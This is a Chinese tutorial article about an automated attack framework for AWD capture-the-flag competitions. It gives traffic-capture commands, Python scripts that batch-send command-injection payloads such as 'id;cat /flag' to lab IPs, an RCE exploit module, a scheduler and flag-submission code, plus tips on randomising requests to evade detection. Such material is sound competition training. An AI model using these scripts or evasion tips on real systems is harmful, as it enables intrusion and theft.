ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

AWD自动化攻击框架实战指南:流量分析、漏洞利用与Flag批量提交

AWD自动化攻击框架实战指南:流量分析、漏洞利用与Flag批量提交 简介这套Bugku-AWD专版自动化攻击框架专为攻防对抗赛设计集成了完整源码与项目说明面向有一定编程基础的CTF参赛者、安全研究者和网络攻防课程学员能解决赛中快速批量攻击、权限维持、Flag自动提交等实际问题。压缩包共66个文件除Python源码与pyc编译模块外还含XML配置、SQLite数据库、Markdown说明和示意图片等总大小1.02MB目录按代码、数据、图片、文档划分便于直接阅读部署。资源当前已有448人学习浏览下载后可直接运行主程序框架覆盖了加密通信、命令执行、内存马注入、接管、请求伪造等常用AWD操作并内置Flag服务器请求模块可自动化完成赛后刷分闭环。除主流程外还提供攻击核心、回显处理、自动应答、配置管理等子模块配套项目说明解释了各模块的调用关系、环境依赖与常见排错思路适合作为计算机、信息安全等专业竞赛项目的代码级参考资料和二次开发蓝本。1. 一场 AWD 比赛里手动打点永远跑不赢自动化脚本AWDAttack With Defense打到中盘你会发现一个残酷现实对方队伍对你的靶机发动的攻击是脚本化的同一波漏洞利用请求能在十几秒内洗一遍全场的 IP而你这边还在对着 Burp 一条条改请求、手点 Repeater等你把第一台靶机的 Flag 拿出来对面已经把剩余靶机各打了一遍。Bugku AWD 专版这类自动化攻击框架就是把“抓流量、抽载荷、批量打、提交 Flag”这条链路用代码串起来让一个人能在比赛里同时盯住多台靶机。适合已经打过几场 AWD、想从“手动打点”升级到“脚本化攻防”的选手也适合刚接触 AWD、想搞清楚自动化攻击框架内部结构的初学者。框架解决的不是“能不能打进去”而是“怎么在几分钟内把漏洞利用复制到全场”。这套方向里的核心其实不是攻击代码本身而是三件事流量怎么来、载荷怎么复用、Flag 怎么交得快。下面顺着这条链路一层层拆。2. AWD 流量分析是自动化攻击的发动机先抓包再出载荷自动化攻击框架没有自带的“情报系统”它的漏洞利用能力几乎全部来自比赛开始后的流量分析。AWD 开赛时平台通常会给每支队伍分配同样的靶机环境漏洞也一致谁先把别人的攻击流量还原成可复用载荷谁就能在后面的轮次里批量得分。所以这个框架的先手优势不靠扫描器靠抓包。2.1 比赛前三十分钟的抓包纪律与流量文件整理我一般会在比赛开始后立刻在本地网卡上开 tcpdump把所有发往靶机网段的流量记录下来。这一步决定后面能不能高效抽载荷建议按时间分段存文件避免单个 pcap 太大后面解析慢。tcpdump -i eth0 -w /data/awd_capture_$(date %H%M).pcap \ net 10.10.0.0/24 and tcp port 80 and not arp -G 64MB参数说明-i eth0指定监听网卡-w指定 pcap 输出路径文件名带上时间戳方便赛后按时间段回溯net后面的网段要按比赛实际分配的靶机网段改别拿默认网段去套tcp port 80是因为大多数 AWD 靶机是 Web 服务如果用到了 8080 或 8443 端口就改成对应端口-G 64MB是日志滚动大小超过 64MB 自动换新文件避免单个文件过大导致 tshark 解析卡死。抓包是在自己比赛机上进行只记录发往比赛靶机的流量不涉及任何外部网络。2.2 从 pcap 里还原 HTTP 请求的 tshark 命令拿到流量文件之后用 tshark 把人看的请求行和关键头过滤出来。AWD 流量里最值钱的就是别人打靶机的那些 POST 请求尤其是包含命令执行、文件写入、SQL 注入特征的请求。tshark -r /data/awd_capture_1430.pcap -Y http.request \ -T fields -e frame.time_delta -e ip.src -e ip.dst \ -e http.request.method -e http.request.full_uri \ -e http.file_data | head -n 200字段说明frame.time_delta显示相邻包之间的时间差用来判断攻击是手打还是脚本化——如果一堆请求时间差不固定多半是有人在手动测试如果差值非常均匀那就是脚本在跑。http.file_data里能看到 POST 请求体很多漏洞利用载荷就藏在这里。流量文件是比赛靶场环境的自带数据分析对象仅限于分配的靶机系统不涉及任何其他目标。2.3 从请求还原漏洞利用载荷的三个步骤拿到请求后不要直接抄进框架先按下面三步处理第一步把请求里的动态参数和固定参数分开。比如?id1 AND SLEEP(5)里的id1是可变的AND SLEEP(5)是攻击核心第二步把请求体里的 Cookie 换成框架里统一的会话变量第三步把响应里用来判定的关键字比如命令执行成功会回显uid提取出来作为批量攻击时判断成功的依据。import requests TARGETS [10.10.0.11, 10.10.0.12, 10.10.0.13] PAYLOAD id;cat /flag HEADERS {Content-Type: application/x-www-form-urlencoded} SESSION requests.Session() for ip in TARGETS: url fhttp://{ip}/index.php?cmd{PAYLOAD} try: r SESSION.get(url, headersHEADERS, timeout5) if uid in r.text: print(f[] {ip} command executed, flag may in response) else: print(f[-] {ip} failed) except requests.exceptions.RequestException as e: print(f[!] {ip} timeout: {e})这个脚本的作用是快速验证从流量里还原出的载荷是不是真的在靶机上生效。逻辑上就是遍历目标列表、拼接 URL、发起请求、用关键字判断结果。参数说明里最关键的是timeout5批量攻击时最容易翻车的就是某个 IP 卡死导致整个脚本挂住所以单请求超时时间一定要设一般比赛场景设 3 到 5 秒比较合理。HEADERS里不要抄原流量里的 Host 头框架会自动按目标 IP 拼接固定 Host 会让所有请求都打到同一个靶机上。3. 把 Bugku AWD 专版跑起来目录约定、依赖安装和最小启动配置流量分析解决的是“打什么”的问题框架解决的是“怎么批量打”。解压Bugku-AWD专版用于AWD比赛中的自动化攻击框架源码项目说明.zip后先别急着执行按照项目说明文档把目录结构搞清楚。AWD 框架这类工具一般都会把“配置、载荷、提交、日志”拆成独立目录方便赛场上快速替换改错一个路径在开赛阶段很致命。3.1 项目说明文档里最该先读的三块内容拿到源码包后先看项目说明.md或README里的三块环境要求、启动方式、路径约定。环境要求会写明 Python 版本和依赖包清单很多 AWD 框架依赖指定版本的requests或paramiko版本不匹配会在跑起来后出现各种奇怪报错启动方式决定你是用python main.py还是python cli.py进入交互菜单路径约定则告诉你漏洞载荷文件要放在哪个目录、结果输出到哪个文件。没有现成项目说明文档时我一般会按下面的结构自己建目录。这套划分适合大多数 AWD 自动化攻击框架也方便比赛间隙快速扩展awd_framework/ ├── config.yaml # 目标网段、提交接口、延时参数 ├── requirements.txt # Python 依赖锁定 ├── main.py # 入口调度攻击和提交任务 ├── exploits/ # 漏洞利用脚本按漏洞名命名 └── logs/ # 攻击日志和 Flag 提交记录这里不涉及具体的文件数量和大小重点是目录职责要单一。config.yaml放会变的东西exploits/放会新增的漏洞利用脚本logs/放每次比赛需要复盘的数据。很多新手喜欢把目标 IP 列表硬编码在攻击脚本里这会导致每换一场比赛就得改源码比赛场上改代码是高风险操作尽量把所有可变项收进配置文件。3.2 用 pip 安装依赖并跑通最小启动命令依赖安装没什么技术含量但容易踩坑。框架自带的requirements.txt里如果锁了版本直接按锁定的装如果没锁版本我通常只装requests、pyyaml、paramiko三个核心包其他按报错提示再补。cd awd_framework python3 -m venv venv source venv/bin/activate pip install -r requirements.txt使用虚拟环境的原因很朴素比赛机上的 Python 环境通常不干净全局装包容易和系统自带库冲突尤其是requests和urllib3的版本组合会影响 SSL 请求行为。比赛机的系统环境是通用的 Python 环境虚拟环境只是为了避免比赛现场装包时互相干扰不涉及任何外部网络。装完后先跑python main.py --help能正常打印帮助信息就说明入口没问题。3.3 config.yaml 里最值得调的三个参数框架跑通后先改配置再开打。以常见 config.yaml 为例下面是核心字段和我在比赛里的建议值targets: net: 10.10.0.0/24 exclude: [10.10.0.10] # 排除自己队伍的靶机 attack: concurrency: 5 # 并发数 timeout: 6 # 单请求超时 interval: 1.0 # 每轮攻击之间的间隔秒数 submit: url: http://submit.example.com/api/flag token: your_token_hereconcurrency不是越大越好。并发 5 在多数 AWD 比赛网络环境里已经足够再大的并发很容易把自己的请求队列堵死而且容易被裁判系统判定为流量异常。interval是每轮攻击之间的睡眠时间设 0.5 到 1 秒能在“打全场”和“低调不被封”之间取得平衡。exclude必须把自家靶机 IP 排除掉否则你自己的攻击载荷会打到自己人头上不仅拿不到分还会暴露你手上有的漏洞利用方式。4. 框架核心模块源码走读任务调度、漏洞利用与 Flag 批量提交框架的骨架通常是一套任务调度系统。AWD 自动化攻击框架和普通的漏洞扫描器最大区别在于扫描器关心“发现漏洞”AWD 框架关心“在拿到漏洞后如何高效地重复利用”。所以核心模块围着一条链路转读取目标列表、轮询攻击任务、接收 Flag、调用提交接口、记录结果。4.1 任务调度模块用队列控制攻击节奏我习惯用队列把目标 IP 按轮次分发每一轮打完统一收集结果再进入下一轮。这样能控制攻击节奏也给防守操作留出空隙。import queue import time import threading TARGET_QUEUE queue.Queue() def load_targets(network_range, exclude_list): for ip in network_range: if ip not in exclude_list: TARGET_QUEUE.put(ip) def worker(exploit_func, submit_func): while not TARGET_QUEUE.empty(): target TARGET_QUEUE.get() try: flag exploit_func(target) if flag: submit_func(flag) except Exception as e: print(f[!] {target} error: {e}) finally: TARGET_QUEUE.task_done() time.sleep(1) def run_round(exploit_func, submit_func, threads5): for _ in range(threads): t threading.Thread(targetworker, args(exploit_func, submit_func)) t.start() TARGET_QUEUE.join()这段代码实现了“一轮攻击”的基本单位每个线程从队列里取一个目标执行exploit_func如果返回了 Flag 就交给submit_func最后time.sleep(1)控制节奏。threading在这里是简单可用的方案比赛场景不需要引入复杂异步框架TARGET_QUEUE.join()保证所有目标处理完再进入下一轮避免上一轮还没结束下一轮又叠上来。exclude_list直接复用 config.yaml 里的排除项拿自己靶机“测试”框架功能这种事开局一次就够后悔了。4.2 漏洞利用模块按载荷类型拆文件别堆在同一个文件里AWD 比赛里常见的漏洞类型就那么几类命令执行、文件上传、SQL 注入、代码审计出来的任意文件读取。框架里我按类型拆文件比如exploits/rce.py、exploits/upload.py每份文件对外暴露一个统一接口def run(target: str) - str | None。# exploits/rce.py import requests def run(target, cmdcat /flag): url fhttp://{target}/system.php data {cmd: cmd} try: r requests.post(url, datadata, timeout6) if flag{ in r.text: return r.text.strip() return None except requests.exceptions.RequestException: return None统一接口的好处是主调度模块不需要感知具体漏洞类型。return r.text.strip()这里返回的是包含 Flag 的完整响应文本提交模块会自己负责提取。data{cmd: cmd}是从抓包结果里直接拷贝的载荷格式不要在这里自己“优化”参数名你优化出来的结果通常和靶机预期不一致。4.3 Flag 批量提交模块失败重试是最重要的一行代码打出来的 Flag 如果提交不上去等于白打。AWD 提交接口通常是一个简单的 HTTP POST但比赛高峰期接口会有拥堵甚至限流。批量提交模块里最重要的不是提交本身而是失败后的重试策略。import time import requests FLAG_CACHE set() def submit_flag(flag, submit_url, token, retry3): if flag in FLAG_CACHE: print(f[] {flag} already submitted, skip) return False payload {flag: flag, token: token} for attempt in range(retry): try: r requests.post(submit_url, jsonpayload, timeout5) if r.status_code 200 and success in r.text.lower(): FLAG_CACHE.add(flag) print(f[] submit ok: {flag}) return True else: print(f[-] submit failed, response: {r.text[:200]}) except requests.exceptions.RequestException as e: print(f[!] network error: {e}, retry {attempt1}/{retry}) time.sleep(2) return FalseFLAG_CACHE集合用于去重同一个 Flag 提交多次不仅浪费时间还可能被裁判系统判定为无效行为。retry3是保守值熟悉规则后可调为 5time.sleep(2)是重试间隔太短会加剧接口拥堵。这个模块的意义是把“提交 Flag 是否成功”这件事变成可观测的状态而不只是打完就丢。4.4 结果落盘把每一轮的成败记下来赛后复盘才有素材框架跑完一轮不要只在控制台打印结果。我习惯把结果写入日志文件包含时间、目标 IP、漏洞类型、是否成功、是否提交成功。赛后复盘时这份日志是调整下一次攻防策略的核心依据。import json import datetime def log_result(target, vuln_type, success, note): entry { time: datetime.datetime.now().isoformat(), target: target, vuln: vuln_type, success: success, note: note, } with open(logs/attack_log.jsonl, a) as f: f.write(json.dumps(entry) \n)JSONL 格式的好处是每行一条记录追加写入不用考虑文件锁问题赛后可以用pandas.read_json直接读入分析。日志模块和提交模块解耦提交失败不等于攻击失败分开记录才能定位到具体卡在哪一步。5. 自动化攻击框架的五个翻车点从流量误判到把自己打崩框架写得再好都不如“避坑”经验值钱。下面几条踩坑记录来自 AWD 比赛的真实场景现象、原因、解决一条条说清楚。5.1 攻击流量被裁判系统判为异常靶机提前封禁现象框架跑了两轮靶机开始大量返回 403 或者连接被重置明明漏洞利用没问题但就是打不进去了。原因并发过高或者同一时刻对所有目标发送完全一致的请求包流量特征太明显被裁判系统识别为扫描攻击。解决把并发降到 3 到 5给每轮请求加随机延时比如在time.sleep(1)和time.sleep(1.5)之间随机取值同时把 HTTP 头里的 User-Agent 池化不要让所有请求都顶着同一个 UA。5.2 不同场次的提交接口和 Token 不一致框架直接失效现象上一场比赛能用的框架这一场跑起来 Flag 提交一直失败但攻击模块显示漏洞利用成功。原因每场 AWD 比赛的 Flag 提交地址和 Token 都不同上一场硬写在代码里的参数到新场次就变成了死值。解决所有提交相关的参数只放 config.yaml开赛前先看一眼提交接口是不是变了改完配置再启动框架。5.3 应急载荷和自研漏洞利用混在一起出了问题不知道是谁的锅现象比赛后半段靶机突然全打不进去了日志里既有自研载荷的攻击记录也有从平台流量里抽出来的应急载荷执行记录无法定位是谁触发了防守端的拦截规则。原因框架把所有漏洞利用脚本一股脑按 IP 循环跑没有区分“已验证的自研载荷”和“从流量里还原的试探载荷”。解决给漏洞利用脚本加标签verified和unverified分开先用已验证载荷打试探载荷单独跑一轮避免共用同一个目标队列。5.4 批量攻击把自己队伍的靶机流量打满防守操作全卡现象自家靶机在比赛后半段服务响应越来越慢SSH 连上去敲命令都卡顿最后发现是攻击框架把自家靶机也纳入了攻击队列。原因config.yaml 里的exclude没生效或者目标网段配置了/16这种过大范围自家靶机也被扫到。解决开跑前先打印一遍攻击目标清单肉眼确认排除列表生效目标网段尽量用比赛分配的精确网段不要图省事写大网段。5.5 提交接口在高频提交时报错Flag 重复采集却未提交成功现象攻击日志显示大量 Flag 被提取出来但提交成功率很低仔细看响应才发现接口在返回限流提示。原因框架在短时间内把大量相同 Flag 提交了多次触发接口限流另外攻击模块每轮都会重新执行漏洞利用同一个目标同一轮产出的 Flag 会被重复提取。解决提交模块维护一个全局去重集合只要 Flag 出现一次就缓存下来提交失败的重试次数不要超过 3 次重试间隔加到 2 秒以上让接口有时间恢复。6. 二次开发方向把这个框架改造成你队伍自己的武器库框架跑通只是起点真正拉开差距的是把框架改造成契合自己队伍习惯的形态。我倾向做三件事。第一件事把漏洞利用脚本按攻击目标类型分组。AWD 靶机有时候是多套环境有的跑 PHP有的跑 Java不同环境适合的载荷完全不同。给脚本加环境标签在 config.yaml 里声明当前比赛靶机的环境类型调度模块按标签过滤能少打很多无效请求。第二件事在攻击模块和提交模块之间加一个 Flag 提取函数。不同漏洞返回的 Flag 格式不一定都是flag{...}有的比赛会用flag{xxx}有的会加前缀提取函数分开写比在攻击脚本里直接正则匹配更清晰。下面是一个统一提取的简单版本import re def extract_flag(raw_text): match re.search(r[a-zA-Z0-9]\{[^}]\}, raw_text) if match: return match.group(0) return None第三件事也是我每场比赛后必做的拿上一场的 logs 数据对照当场的攻击成功率看哪些漏洞利用脚本命中率低、哪些目标 IP 一直在产出但提交总是失败逐条修正配置。框架不是挂机工具它是一套围绕“流量分析—漏洞利用—Flag 提交”的半自动流水线人的判断仍然决定每一轮攻击的有效性。验证这套框架值不值得投入最直接的方法是找一场练习赛先用纯手动流程打一轮记录耗时再挂上框架打同样数量目标对比“从拿到流量到成功提交第一个 Flag”的时间差。我自己第一次做这个对比时手动打了 12 分钟框架跑完同样的流程只用了不到 3 分钟代价是那 3 分钟里我一直盯着日志怕它出幺蛾子。后来慢慢把日志输出、去重、重试这些模块补全才有了能放心丢在后台跑的版本。AWD 比赛真正的 scoreboard 变化往往发生在最后半小时到那时候你还在一台台手动打点就真的只能看别人分数往上走了。希望这篇思路能帮你在下一场比赛里少踩几个坑。本文还有配套的精品资源点击获取
返回列表